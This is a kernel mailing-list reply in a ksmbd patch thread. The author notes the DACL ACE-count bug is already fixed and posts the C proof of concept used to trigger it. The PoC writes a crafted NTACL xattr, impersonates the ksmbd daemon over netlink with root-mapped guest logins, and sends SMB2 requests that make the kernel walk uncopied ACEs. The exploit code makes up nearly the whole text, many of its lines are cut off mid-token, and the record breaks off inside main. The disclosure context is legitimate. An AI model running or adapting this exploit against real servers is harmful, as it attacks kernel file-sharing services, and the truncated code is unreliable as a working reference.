* Re: [PATCH] ksmbd: use copied ACE count when walking DACL in set_ntacl_dacl
2026-07-24 7:09 ` ChenXiaoSong
@ 2026-07-25 20:57 ` Xiang Mei
2026-07-26 1:01 ` ChenXiaoSong
0 siblings, 1 reply; 6+ messages in thread
From: Xiang Mei @ 2026-07-25 20:57 UTC (permalink / raw)
To: ChenXiaoSong
Cc: Namjae Jeon, Steve French, Sergey Senozhatsky, Tom Talpey,
linux-cifs, linux-kernel, Hyunchul Lee, Ronnie Sahlberg,
AutonomousCodeSecurity, tgopinath, kys
On Fri, Jul 24, 2026 at 12:10 AM ChenXiaoSong
<chenxiaosong@chenxiaosong.com> wrote:
>
> Could you share the steps to reproduce it?
>
> On 7/23/26 08:19, Namjae Jeon wrote:
> > Thanks for the patch.
> > Could you please check whether this issue is still present in the
> > current ksmbd-for-next-next tree?
>
The issue is patched in 065148205b48. Sorry for the dup.
If you are still interested in the poc, here is the poc we triggered
the bug with:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdint.h>
#include <pthread.h>
/* ============ SHA-256 implementation ============ */
static const uint32_t sha256_k[64] = {
0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82,
0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06,
0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9,
0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca63,
0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c9,
0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e35,
0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca,
0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a32
};
#define RR(x,n) (((x)>>(n))|((x)<<(32-(n))))
#define CH(x,y,z) (((x)&(y))^((~(x))&(z)))
#define MAJ(x,y,z) (((x)&(y))^((x)&(z))^((y)&(z)))
#define EP0(x) (RR(x,2)^RR(x,13)^RR(x,22))
#define EP1(x) (RR(x,6)^RR(x,11)^RR(x,25))
#define SIG0(x) (RR(x,7)^RR(x,18)^((x)>>3))
#define SIG1(x) (RR(x,17)^RR(x,19)^((x)>>10))
static void sha256(const uint8_t *data, size_t len, uint8_t out[32]) {
uint32_t h[8] = {0x6a09e667,0xbb67ae85,0x3c6ef372,0xa54ff53a,
0x510e527f,0x9b05688c,0x1f83d9ab,0x5be0cd19};
size_t i, j;
uint64_t bitlen = len * 8;
size_t nblocks = len / 64;
for (i = 0; i < nblocks; i++) {
uint32_t w[64], a,b,c,d,e,f,g,hh,t1,t2;
const uint8_t *blk = data + i * 64;
for (j = 0; j < 16; j++)
w[j] = ((uint32_t)blk[j*4]<<24)|((uint32_t)blk[j*4+1]<<16)|
((uint32_t)blk[j*4+2]<<8)|blk[j*4+3];
for (j = 16; j < 64; j++)
w[j] = SIG1(w[j-2]) + w[j-7] + SIG0(w[j-15]) + w[j-16];
a=h[0];b=h[1];c=h[2];d=h[3];e=h[4];f=h[5];g=h[6];hh=h[7];
for (j = 0; j < 64; j++) {
t1 = hh + EP1(e) + CH(e,f,g) + sha256_k[j] + w[j];
t2 = EP0(a) + MAJ(a,b,c);
hh=g;g=f;f=e;e=d+t1;d=c;c=b;b=a;a=t1+t2;
}
h[0]+=a;h[1]+=b;h[2]+=c;h[3]+=d;h[4]+=e;h[5]+=f;h[6]+=g;h[7]+=hh;
}
uint8_t last[128];
size_t rem = len - nblocks * 64;
memset(last, 0, sizeof(last));
if (rem) memcpy(last, data + nblocks * 64, rem);
last[rem] = 0x80;
int final_blocks = (rem < 56) ? 1 : 2;
int pad_off = final_blocks * 64 - 8;
for (j = 0; j < 8; j++) last[pad_off + j] = (bitlen >> (56 - j*8)) & 0xff;
for (int bi = 0; bi < final_blocks; bi++) {
uint32_t w[64], a,b,c,d,e,f,g,hh,t1,t2;
uint8_t *blk = last + bi * 64;
for (j = 0; j < 16; j++)
w[j] = ((uint32_t)blk[j*4]<<24)|((uint32_t)blk[j*4+1]<<16)|
((uint32_t)blk[j*4+2]<<8)|blk[j*4+3];
for (j = 16; j < 64; j++)
w[j] = SIG1(w[j-2]) + w[j-7] + SIG0(w[j-15]) + w[j-16];
a=h[0];b=h[1];c=h[2];d=h[3];e=h[4];f=h[5];g=h[6];hh=h[7];
for (j = 0; j < 64; j++) {
t1 = hh + EP1(e) + CH(e,f,g) + sha256_k[j] + w[j];
t2 = EP0(a) + MAJ(a,b,c);
hh=g;g=f;f=e;e=d+t1;d=c;c=b;b=a;a=t1+t2;
}
h[0]+=a;h[1]+=b;h[2]+=c;h[3]+=d;h[4]+=e;h[5]+=f;h[6]+=g;h[7]+=hh;
}
for (j = 0; j < 8; j++) {
out[j*4] = (h[j]>>24)&0xff; out[j*4+1] = (h[j]>>16)&0xff;
out[j*4+2] = (h[j]>>8)&0xff; out[j*4+3] = h[j]&0xff;
}
}
/* ============ NDR encoder ============ */
struct ndr_buf { uint8_t *data; int offset; int capacity; };
static void ndr_ensure(struct ndr_buf *n, int need) {
if (n->offset + need > n->capacity) {
n->capacity = (n->offset + need) * 2;
n->data = realloc(n->data, n->capacity);
}
}
static void ndr_write_int16(struct ndr_buf *n, uint16_t v) {
ndr_ensure(n, 2); memcpy(n->data + n->offset, &v, 2); n->offset += 2;
}
static void ndr_write_int32(struct ndr_buf *n, uint32_t v) {
ndr_ensure(n, 4); memcpy(n->data + n->offset, &v, 4); n->offset += 4;
}
static void ndr_write_int64(struct ndr_buf *n, uint64_t v) {
ndr_ensure(n, 8); memcpy(n->data + n->offset, &v, 8); n->offset += 8;
}
static void ndr_write_bytes(struct ndr_buf *n, const void *d, int len) {
ndr_ensure(n, len); memcpy(n->data + n->offset, d, len); n->offset += len;
}
static void ndr_align8(struct ndr_buf *n) {
int a = (n->offset + 7) & ~7;
if (a > n->offset) { ndr_ensure(n, a - n->offset); memset(n->data + n->off}
}
#define SMB_ACL_USER 1
#define SMB_ACL_USER_OBJ 2
#define SMB_ACL_GROUP 3
#define SMB_ACL_GROUP_OBJ 4
#define SMB_ACL_OTHER 5
#define SMB_ACL_MASK 6
struct acl_entry { int type; uint64_t id; int perm; };
static void ndr_encode_posix_acl_entry_fn(struct ndr_buf *n, struct acl_entry {
ndr_write_int32(n, count);
ndr_align8(n);
ndr_write_int32(n, count);
ndr_write_int32(n, 0);
for (int i = 0; i < count; i++) {
ndr_align8(n);
ndr_write_int16(n, entries[i].type);
ndr_write_int16(n, entries[i].type);
if (entries[i].type == SMB_ACL_USER) {
ndr_align8(n);
ndr_write_int64(n, entries[i].id);
} else if (entries[i].type == SMB_ACL_GROUP) {
ndr_align8(n);
ndr_write_int64(n, entries[i].id);
}
ndr_write_int32(n, entries[i].perm);
}
}
static void ndr_encode_posix_acl_fn(struct ndr_buf *n, uint64_t uid, uint64_t ,
uint32_t mode, struct acl_entry *acl, int{
uint32_t ref_id = 0x00020000;
n->offset = 0;
if (acl) { ndr_write_int32(n, ref_id); ref_id += 4; }
else ndr_write_int32(n, 0);
/* no default ACL */
ndr_write_int32(n, 0);
ndr_write_int64(n, uid);
ndr_write_int64(n, gid);
ndr_write_int32(n, mode);
if (acl)
ndr_encode_posix_acl_entry_fn(n, acl, acl_count);
}
#define NDR_NTSD_OFFSETOF 0xA0
static void ndr_encode_v4_ntacl_fn(struct ndr_buf *n, uint8_t hash[64],
uint8_t posix_hash[64], uint8_t *sd_buf, i{
n->offset = 0;
ndr_write_int16(n, 4); /* version */
ndr_write_int32(n, 4); /* version2 */
ndr_write_int16(n, 2); /* level */
ndr_write_int32(n, 0x00020004); /* ref_id */
ndr_write_int16(n, 1); /* hash_type = SHA256 */
ndr_write_bytes(n, hash, 64);
uint8_t desc[10]; memset(desc, 0, 10); memcpy(desc, "posix_acl", 9);
ndr_write_bytes(n, desc, 10);
ndr_write_int64(n, 0); /* current_time */
ndr_write_bytes(n, posix_hash, 64);
ndr_write_bytes(n, sd_buf, sd_size);
}
/* ============ Build crafted Security Descriptor ============ */
static int build_crafted_sd(uint8_t *out, int maxl) {
memset(out, 0, maxl);
int off = 0;
/* NTSD header: revision=1, type=DACL_PRESENT(0x0004) */
*(uint16_t *)(out + 0) = 1;
*(uint16_t *)(out + 2) = 0x0004;
off = 20; /* 2+2+4+4+4+4 = 20 */
int dacl_off = off;
*(uint16_t*)(out+off) = 2;
*(uint16_t*)(out+off+4) = 2; /* num_aces = 2, only 1 gets copied */
off += 8;
/* ACE1: Everyone (S-1-1-0) FULL_CONTROL - passes the CREATE access check /
out[off]=0; *(uint32_t*)(out+off+4)=0x001F01FF;
out[off+8]=1; out[off+9]=1;
out[off+14]=0; out[off+15]=1;
*(uint32_t*)(out+off+16)=0;
int ace1_sz = 8+8+1*4;
*(uint16_t*)(out+off+2)=ace1_sz; off+=ace1_sz;
/* ACE2: num_subauth=20 > 15, skipped by the copy loop but still counted */
out[off]=0; *(uint32_t*)(out+off+4)=0x001F01FF;
out[off+8]=1; out[off+9]=20; out[off+15]=5;
int ace_sz = 8+8;
*(uint16_t*)(out+off+2)=ace_sz; off+=ace_sz;
*(uint16_t*)(out+dacl_off+2) = off - dacl_off;
*(uint32_t*)(out+16) = dacl_off;
return off;
}
/* ============ ksmbd netlink IPC ============ */
#define KSMBD_GENL_NAME "SMBD_GENL"
#define KSMBD_GENL_VERSION 0x01
enum ksmbd_event {
KSMBD_EVENT_UNSPEC=0, KSMBD_EVENT_HEARTBEAT_REQUEST,
KSMBD_EVENT_STARTING_UP, KSMBD_EVENT_SHUTTING_DOWN,
KSMBD_EVENT_LOGIN_REQUEST, KSMBD_EVENT_LOGIN_RESPONSE,
KSMBD_EVENT_SHARE_CONFIG_REQUEST, KSMBD_EVENT_SHARE_CONFIG_RESPONSE,
KSMBD_EVENT_TREE_CONNECT_REQUEST, KSMBD_EVENT_TREE_CONNECT_RESPONSE,
KSMBD_EVENT_TREE_DISCONNECT_REQUEST, KSMBD_EVENT_LOGOUT_REQUEST,
KSMBD_EVENT_RPC_REQUEST, KSMBD_EVENT_RPC_RESPONSE,
KSMBD_EVENT_SPNEGO_AUTHEN_REQUEST, KSMBD_EVENT_SPNEGO_AUTHEN_RESPONSE,
KSMBD_EVENT_LOGIN_REQUEST_EXT, KSMBD_EVENT_LOGIN_RESPONSE_EXT,
};
#define KSMBD_SHARE_FLAG_AVAILABLE (1<<0)
#define KSMBD_SHARE_FLAG_BROWSEABLE (1<<1)
#define KSMBD_SHARE_FLAG_WRITEABLE (1<<2)
#define KSMBD_SHARE_FLAG_GUEST_OK (1<<4)
#define KSMBD_SHARE_FLAG_GUEST_ONLY (1<<5)
#define KSMBD_SHARE_FLAG_OPLOCKS (1<<7)
#define KSMBD_SHARE_FLAG_ACL_XATTR (1<<13)
#define KSMBD_USER_FLAG_OK (1<<0)
#define KSMBD_USER_FLAG_GUEST_ACCOUNT (1<<4)
#define KSMBD_TREE_CONN_STATUS_OK 0
#define KSMBD_TREE_CONN_FLAG_WRITABLE (1<<2)
struct ksmbd_startup_request {
uint32_t flags; int32_t signing;
int8_t min_prot[16]; int8_t max_prot[16];
int8_t netbios_name[16]; int8_t work_group[64]; int8_t server_string[64];
uint16_t tcp_port; uint16_t ipc_timeout;
uint32_t deadtime; uint32_t file_max;
uint32_t smb2_max_write; uint32_t smb2_max_read; uint32_t smb2_max_trans;
uint32_t share_fake_fscaps; uint32_t sub_auth[3];
uint32_t smb2_max_credits; uint32_t smbd_max_io_size;
uint32_t max_connections; int8_t bind_interfaces_only;
uint32_t max_ip_connections; int8_t reserved[499]; uint32_t ifc_list_sz;
} __attribute__((packed));
struct ksmbd_login_request { uint32_t handle; int8_t account[48]; uint32_t res;
struct ksmbd_login_response {
uint32_t handle; uint32_t gid; uint32_t uid; int8_t account[48];
uint16_t status; uint16_t hash_sz; int8_t hash[18]; uint32_t reserved[16];
};
struct ksmbd_login_response_ext { uint32_t handle; int32_t ngroups; int8_t res;
struct ksmbd_share_config_response {
uint32_t handle; uint32_t flags; uint16_t create_mask; uint16_t directory_;
uint16_t force_create_mode; uint16_t force_directory_mode;
uint16_t force_uid; uint16_t force_gid; int8_t share_name[64];
uint32_t reserved[111]; uint32_t payload_sz; uint32_t veto_list_sz;
};
struct ksmbd_tree_connect_response {
uint32_t handle; uint16_t status; uint16_t connection_flags; uint32_t rese;
};
static const char *SHARE_PATH = "/tmp/smbshare";
static int nl_sock = -1;
static uint16_t nl_family_id = 0;
static uint32_t nl_mcast_grp = 0;
static volatile int daemon_running = 1;
static int resolve_genl_family(int sock, const char *name) {
char buf[4096]; memset(buf, 0, sizeof(buf));
struct nlmsghdr *nlh = (void *)buf;
struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh);
struct nlattr *nla = (void *)((char *)gh + GENL_HDRLEN);
int nlen = strlen(name) + 1;
nla->nla_len = NLA_HDRLEN + nlen; nla->nla_type = CTRL_ATTR_FAMILY_NAME;
memcpy((char *)nla + NLA_HDRLEN, name, nlen);
gh->cmd = CTRL_CMD_GETFAMILY; gh->version = 1;
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + NLA_ALIGN(nla->nla_len);
nlh->nlmsg_type = GENL_ID_CTRL; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlm;
struct sockaddr_nl a = {.nl_family = AF_NETLINK};
if (sendto(sock, buf, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0) retur;
int len = recv(sock, buf, sizeof(buf), 0);
if (len < 0) return -1;
nlh = (void *)buf;
if (nlh->nlmsg_type == NLMSG_ERROR) return -1;
int fid = -1;
int rem = NLMSG_PAYLOAD(nlh, GENL_HDRLEN);
char *p = (char *)NLMSG_DATA(nlh) + GENL_HDRLEN;
while (rem >= (int)NLA_HDRLEN) {
struct nlattr *at = (void *)p;
if (at->nla_len < NLA_HDRLEN) break;
int alen = NLA_ALIGN(at->nla_len);
if (at->nla_type == CTRL_ATTR_FAMILY_ID) fid = *(uint16_t *)((char *)a;
if (at->nla_type == CTRL_ATTR_MCAST_GROUPS) {
int grem = at->nla_len - NLA_HDRLEN; char *gp = (char *)at + NLA_H;
while (grem >= (int)NLA_HDRLEN) {
struct nlattr *grp = (void *)gp;
if (grp->nla_len < NLA_HDRLEN) break;
int irem = grp->nla_len - NLA_HDRLEN; char *ip = (char *)grp +;
while (irem >= (int)NLA_HDRLEN) {
struct nlattr *ia = (void *)ip;
if (ia->nla_len < NLA_HDRLEN) break;
if (ia->nla_type == 2) nl_mcast_grp = *(uint32_t *)((char ;
int il = NLA_ALIGN(ia->nla_len); ip += il; irem -= il;
}
int gl = NLA_ALIGN(grp->nla_len); gp += gl; grem -= gl;
}
}
p += alen; rem -= alen;
}
return fid;
}
static int nl_send(int sock, uint16_t fid, uint8_t cmd, uint16_t atype, void *{
char buf[8192]; memset(buf, 0, sizeof(buf));
struct nlmsghdr *nlh = (void *)buf;
struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh);
gh->cmd = cmd; gh->version = KSMBD_GENL_VERSION;
struct nlattr *nla = (void *)((char *)gh + GENL_HDRLEN);
nla->nla_type = atype; nla->nla_len = NLA_HDRLEN + dlen;
memcpy((char *)nla + NLA_HDRLEN, data, dlen);
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + NLA_ALIGN(nla->nla_len);
nlh->nlmsg_type = fid; nlh->nlmsg_flags = NLM_F_REQUEST;
struct sockaddr_nl a = {.nl_family = AF_NETLINK};
return sendto(sock, buf, nlh->nlmsg_len, 0, (void *)&a, sizeof(a));
}
static void *ipc_thread(void *arg) {
(void)arg;
char buf[8192];
while (daemon_running) {
struct sockaddr_nl a; socklen_t al = sizeof(a);
int len = recvfrom(nl_sock, buf, sizeof(buf), 0, (void *)&a, &al);
if (len < 0) { if (errno == EINTR) continue; break; }
struct nlmsghdr *nlh = (void *)buf;
if (nlh->nlmsg_type != nl_family_id) continue;
struct genlmsghdr *gh = (void *)NLMSG_DATA(nlh);
void *payload = NULL;
int rem = NLMSG_PAYLOAD(nlh, GENL_HDRLEN);
char *ap = (char *)gh + GENL_HDRLEN;
while (rem >= (int)NLA_HDRLEN) {
struct nlattr *na = (void *)ap;
if (na->nla_len < NLA_HDRLEN) break;
if (na->nla_type == gh->cmd) { payload = ap + NLA_HDRLEN; break; }
int al2 = NLA_ALIGN(na->nla_len); ap += al2; rem -= al2;
}
if (!payload) {
ap = (char *)gh + GENL_HDRLEN; rem = NLMSG_PAYLOAD(nlh, GENL_HDRLE;
if (rem >= (int)NLA_HDRLEN) {
struct nlattr *na = (void *)ap;
if (na->nla_len >= NLA_HDRLEN) payload = ap + NLA_HDRLEN;
}
}
switch (gh->cmd) {
case KSMBD_EVENT_LOGIN_REQUEST: {
struct ksmbd_login_response r; memset(&r, 0, sizeof(r));
if (payload) { r.handle = *(uint32_t*)payload; memcpy(r.account, (}
r.status = KSMBD_USER_FLAG_OK | KSMBD_USER_FLAG_GUEST_ACCOUNT;
r.uid = 0; r.gid = 0;
nl_send(nl_sock, nl_family_id, KSMBD_EVENT_LOGIN_RESPONSE, KSMBD_E;
break;
}
case KSMBD_EVENT_LOGIN_REQUEST_EXT: {
struct ksmbd_login_response_ext r; memset(&r, 0, sizeof(r));
if (payload) r.handle = *(uint32_t*)payload;
nl_send(nl_sock, nl_family_id, KSMBD_EVENT_LOGIN_RESPONSE_EXT, KSM;
break;
}
case KSMBD_EVENT_SHARE_CONFIG_REQUEST: {
char rb[sizeof(struct ksmbd_share_config_response) + 256]; memset(;
struct ksmbd_share_config_response *r = (void *)rb;
if (payload) r->handle = *(uint32_t*)payload;
r->flags = KSMBD_SHARE_FLAG_AVAILABLE | KSMBD_SHARE_FLAG_BROWSEABL|
KSMBD_SHARE_FLAG_WRITEABLE | KSMBD_SHARE_FLAG_GUEST_OK |
KSMBD_SHARE_FLAG_GUEST_ONLY | KSMBD_SHARE_FLAG_OPLOCKS |
KSMBD_SHARE_FLAG_ACL_XATTR;
r->create_mask = 0744; r->directory_mask = 0755;
strncpy((char *)r->share_name, "test", 63);
char *pp = rb + sizeof(struct ksmbd_share_config_response);
strcpy(pp, SHARE_PATH);
r->payload_sz = strlen(SHARE_PATH) + 1;
r->veto_list_sz = 0;
int total = sizeof(struct ksmbd_share_config_response) + r->payloa;
nl_send(nl_sock, nl_family_id, KSMBD_EVENT_SHARE_CONFIG_RESPONSE, ;
break;
}
case KSMBD_EVENT_TREE_CONNECT_REQUEST: {
struct ksmbd_tree_connect_response r; memset(&r, 0, sizeof(r));
if (payload) r.handle = *(uint32_t*)payload;
r.status = KSMBD_TREE_CONN_STATUS_OK;
r.connection_flags = KSMBD_TREE_CONN_FLAG_WRITABLE;
nl_send(nl_sock, nl_family_id, KSMBD_EVENT_TREE_CONNECT_RESPONSE, ;
break;
}
default: break;
}
}
return NULL;
}
/* ============ SMB2 client ============ */
#pragma pack(push, 1)
struct smb2_header {
uint8_t protocol_id[4]; uint16_t structure_size; uint16_t credit_charge;
uint32_t status; uint16_t command; uint16_t credit_request;
uint32_t flags; uint32_t next_command; uint64_t message_id;
uint32_t reserved; uint32_t tree_id; uint64_t session_id;
uint8_t signature[16];
};
#pragma pack(pop)
#define SMB2_NEGOTIATE 0x0000
#define SMB2_SESSION_SETUP 0x0001
#define SMB2_TREE_CONNECT 0x0003
#define SMB2_CREATE 0x0005
#define SMB2_QUERY_INFO 0x0010
static uint64_t msg_id = 0, session_id = 0;
static uint32_t tree_id_val = 0;
static uint8_t file_id[16];
static int smb_send(int s, void *b, int l) {
uint8_t h[4] = {0, (l>>16)&0xFF, (l>>8)&0xFF, l&0xFF};
if (send(s, h, 4, 0) != 4) return -1;
return send(s, b, l, 0) == l ? 0 : -1;
}
static int smb_recv(int s, void *b, int bs) {
uint8_t h[4];
if (recv(s, h, 4, MSG_WAITALL) != 4) return -1;
int l = (h[1]<<16)|(h[2]<<8)|h[3]; if (l > bs) return -1;
int t = 0;
while (t < l) { int n = recv(s, (char*)b+t, l-t, 0); if (n<=0) return -1; }
return l;
}
static void mkhdr(struct smb2_header *h, uint16_t cmd) {
memset(h, 0, 64);
h->protocol_id[0]=0xFE; h->protocol_id[1]='S'; h->protocol_id[2]='M'; h->p;
h->structure_size=64; h->command=cmd; h->credit_request=31;
h->message_id=msg_id++; h->session_id=session_id; h->tree_id=tree_id_val;
}
static int negotiate(int s) {
uint8_t buf[256]; memset(buf,0,sizeof(buf));
mkhdr((void*)buf, SMB2_NEGOTIATE);
uint8_t *b=buf+64;
*(uint16_t*)(b)=36; *(uint16_t*)(b+2)=3; *(uint16_t*)(b+4)=1;
*(uint32_t*)(b+12)=0xdeadbeef;
*(uint16_t*)(b+36)=0x0202; *(uint16_t*)(b+38)=0x0210; *(uint16_t*)(b+40)=0;
if (smb_send(s,buf,64+42)<0) return -1;
uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1;
return ((struct smb2_header*)r)->status ? -1 : 0;
}
static int session_setup(int s) {
uint8_t buf[512]; memset(buf,0,sizeof(buf));
mkhdr((void*)buf, SMB2_SESSION_SETUP);
uint8_t *b=buf+64; *(uint16_t*)b=25; *(uint8_t*)(b+3)=1;
uint8_t nt[32]; memset(nt,0,32);
memcpy(nt,"NTLMSSP",8); *(uint32_t*)(nt+8)=1; *(uint32_t*)(nt+12)=0x600082;
uint16_t soff=64+24;
*(uint16_t*)(b+12)=soff; *(uint16_t*)(b+14)=32;
memcpy(buf+soff,nt,32);
if (smb_send(s,buf,soff+32)<0) return -1;
uint8_t r[4096]; int rl=smb_recv(s,r,sizeof(r)); if (rl<64) return -1;
struct smb2_header *rh=(void*)r;
session_id=rh->session_id;
if (rh->status!=0xc0000016) return -1;
/* Auth phase */
memset(buf,0,sizeof(buf)); mkhdr((void*)buf,SMB2_SESSION_SETUP);
((struct smb2_header*)buf)->session_id=session_id;
b=buf+64; *(uint16_t*)b=25; *(uint8_t*)(b+3)=1;
uint8_t au[128]; memset(au,0,128);
memcpy(au,"NTLMSSP",8); *(uint32_t*)(au+8)=3;
int voff=72;
uint8_t uname[]={'g',0,'u',0,'e',0,'s',0,'t',0}; int uname_len=10;
*(uint16_t*)(au+12)=0; *(uint16_t*)(au+14)=0; *(uint32_t*)(au+16)=voff;
*(uint16_t*)(au+20)=0; *(uint16_t*)(au+22)=0; *(uint32_t*)(au+24)=voff;
*(uint16_t*)(au+28)=0; *(uint16_t*)(au+30)=0; *(uint32_t*)(au+32)=voff;
*(uint16_t*)(au+36)=uname_len; *(uint16_t*)(au+38)=uname_len; *(uint32_t*);
memcpy(au+voff,uname,uname_len);
*(uint16_t*)(au+44)=0; *(uint16_t*)(au+46)=0; *(uint32_t*)(au+48)=voff+una;
*(uint16_t*)(au+52)=0; *(uint16_t*)(au+54)=0; *(uint32_t*)(au+56)=voff+una;
*(uint32_t*)(au+60)=0x60008215;
int aulen=voff+uname_len;
soff=64+24;
*(uint16_t*)(b+12)=soff; *(uint16_t*)(b+14)=aulen;
memcpy(buf+soff,au,aulen);
if (smb_send(s,buf,soff+aulen)<0) return -1;
rl=smb_recv(s,r,sizeof(r)); if (rl<64) return -1;
rh=(void*)r;
if (rh->status==0) { session_id=rh->session_id; return 0; }
return -1;
}
static int tree_connect(int s) {
uint8_t buf[256]; memset(buf,0,sizeof(buf));
mkhdr((void*)buf, SMB2_TREE_CONNECT);
uint8_t *b=buf+64; *(uint16_t*)b=9;
char pa[]="\\\\127.0.0.1\\test";
uint8_t pu[128]; int pl=0;
for (int i=0; pa[i]; i++) { pu[pl++]=pa[i]; pu[pl++]=0; }
uint16_t po=64+8;
*(uint16_t*)(b+4)=po; *(uint16_t*)(b+6)=pl;
memcpy(buf+po,pu,pl);
if (smb_send(s,buf,po+pl)<0) return -1;
uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1;
struct smb2_header *rh=(void*)r;
if (rh->status) return -1;
tree_id_val=rh->tree_id; return 0;
}
static int create_file(int s, const char *fn) {
uint8_t buf[512]; memset(buf,0,sizeof(buf));
mkhdr((void*)buf, SMB2_CREATE);
uint8_t *b=buf+64; *(uint16_t*)b=57;
*(uint32_t*)(b+24)=0x001F01FF; *(uint32_t*)(b+28)=0x80;
*(uint32_t*)(b+32)=0x07; *(uint32_t*)(b+36)=0x05;
uint8_t nu[256]; int nl=0;
for (int i=0; fn[i]; i++) { nu[nl++]=fn[i]; nu[nl++]=0; }
uint16_t no=64+56;
*(uint16_t*)(b+44)=no; *(uint16_t*)(b+46)=nl;
memcpy(buf+no,nu,nl); int tl=no+nl; if (tl<64+57) tl=64+57;
if (smb_send(s,buf,tl)<0) return -1;
uint8_t r[4096]; if (smb_recv(s,r,sizeof(r))<64) return -1;
struct smb2_header *rh=(void*)r;
if (rh->status) return -1;
memcpy(file_id, r+64+64, 16); return 0;
}
static int query_info_sec(int s) {
uint8_t buf[256]; memset(buf,0,sizeof(buf));
mkhdr((void*)buf, SMB2_QUERY_INFO);
uint8_t *b=buf+64;
*(uint16_t*)b=41; *(uint8_t*)(b+2)=0x03;
*(uint32_t*)(b+4)=65536;
*(uint32_t*)(b+16)=0x07; /* OWNER|GROUP|DACL */
memcpy(b+24, file_id, 16);
if (smb_send(s,buf,64+41)<0) return -1;
uint8_t r[8192]; if (smb_recv(s,r,sizeof(r))<64) return -1;
return 0;
}
/* ============ Main ============ */
int main(void) {
mkdir(SHARE_PATH, 0777);
const char *filepath = "/tmp/smbshare/testfile.txt";
int fd = open(filepath, O_CREAT|O_WRONLY|O_TRUNC, 0755);
if (fd >= 0) { write(fd, "test", 4); close(fd); }
chmod(filepath, 0755);
/* Set POSIX ACL: USER_OBJ(rwx), USER(7777,rwx), GROUP_OBJ(rx), MASK(rwx),/
uint8_t posix_acl_xattr[4 + 5*8];
memset(posix_acl_xattr, 0, sizeof(posix_acl_xattr));
*(uint32_t*)(posix_acl_xattr) = 2;
*(uint16_t*)(posix_acl_xattr+4)=0x01; *(uint16_t*)(posix_acl_xattr+6)=7; *;
*(uint16_t*)(posix_acl_xattr+12)=0x02; *(uint16_t*)(posix_acl_xattr+14)=7;;
*(uint16_t*)(posix_acl_xattr+20)=0x04; *(uint16_t*)(posix_acl_xattr+22)=5;;
*(uint16_t*)(posix_acl_xattr+28)=0x10; *(uint16_t*)(posix_acl_xattr+30)=7;;
*(uint16_t*)(posix_acl_xattr+36)=0x20; *(uint16_t*)(posix_acl_xattr+38)=5;;
if (setxattr(filepath, "system.posix_acl_access", posix_acl_xattr, sizeof({
perror("setxattr posix_acl"); return 1;
}
struct stat st; stat(filepath, &st);
/* Compute NDR POSIX ACL hash */
struct ndr_buf acl_ndr = {.data=calloc(1,1024), .offset=0, .capacity=1024};
struct acl_entry entries[5] = {
{SMB_ACL_USER_OBJ, 0, 7}, {SMB_ACL_USER, 7777, 7},
{SMB_ACL_GROUP_OBJ, 0, 5}, {SMB_ACL_MASK, 0, 7}, {SMB_ACL_OTHER, 0, 5},
};
ndr_encode_posix_acl_fn(&acl_ndr, st.st_uid, st.st_gid, st.st_mode, entrie;
uint8_t posix_hash[64]; memset(posix_hash, 0, 64);
sha256(acl_ndr.data, acl_ndr.offset, posix_hash);
/* Build crafted SD and adjust offsets */
uint8_t sd_buf[2048];
int sd_size = build_crafted_sd(sd_buf, sizeof(sd_buf));
/* ksmbd_vfs_get_sd_xattr() subtracts NDR_NTSD_OFFSETOF back off on read */
*(uint32_t*)(sd_buf+16) += NDR_NTSD_OFFSETOF;
uint8_t sd_hash[64]; memset(sd_hash, 0, 64);
sha256(sd_buf, sd_size, sd_hash);
/* Encode NDR v4 NTACL and write xattr */
struct ndr_buf ntacl = {.data=calloc(1,4096), .offset=0, .capacity=4096};
ndr_encode_v4_ntacl_fn(&ntacl, sd_hash, posix_hash, sd_buf, sd_size);
if (setxattr(filepath, "security.NTACL", ntacl.data, ntacl.offset, 0) < 0){
perror("setxattr security.NTACL"); return 1;
}
free(acl_ndr.data); free(ntacl.data);
/* Setup netlink IPC */
nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (nl_sock < 0) { perror("nlsock"); return 1; }
struct sockaddr_nl sa = {.nl_family = AF_NETLINK, .nl_pid = getpid()};
if (bind(nl_sock, (void*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1;}
nl_family_id = resolve_genl_family(nl_sock, KSMBD_GENL_NAME);
if ((int)nl_family_id <= 0) { fprintf(stderr, "No ksmbd genl\n"); return 1}
if (nl_mcast_grp > 0)
setsockopt(nl_sock, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &nl_mcast_grp;
pthread_t ipc_tid;
pthread_create(&ipc_tid, NULL, ipc_thread, NULL);
/* Start ksmbd */
struct ksmbd_startup_request req; memset(&req, 0, sizeof(req));
strcpy((char*)req.min_prot,"SMB2_10"); strcpy((char*)req.max_prot,"SMB3_11;
strcpy((char*)req.netbios_name,"TEST"); strcpy((char*)req.work_group,"WG");
strcpy((char*)req.server_string,"t");
req.tcp_port=445; req.ipc_timeout=60; req.file_max=10000;
req.smb2_max_write=65536; req.smb2_max_read=65536; req.smb2_max_trans=6553;
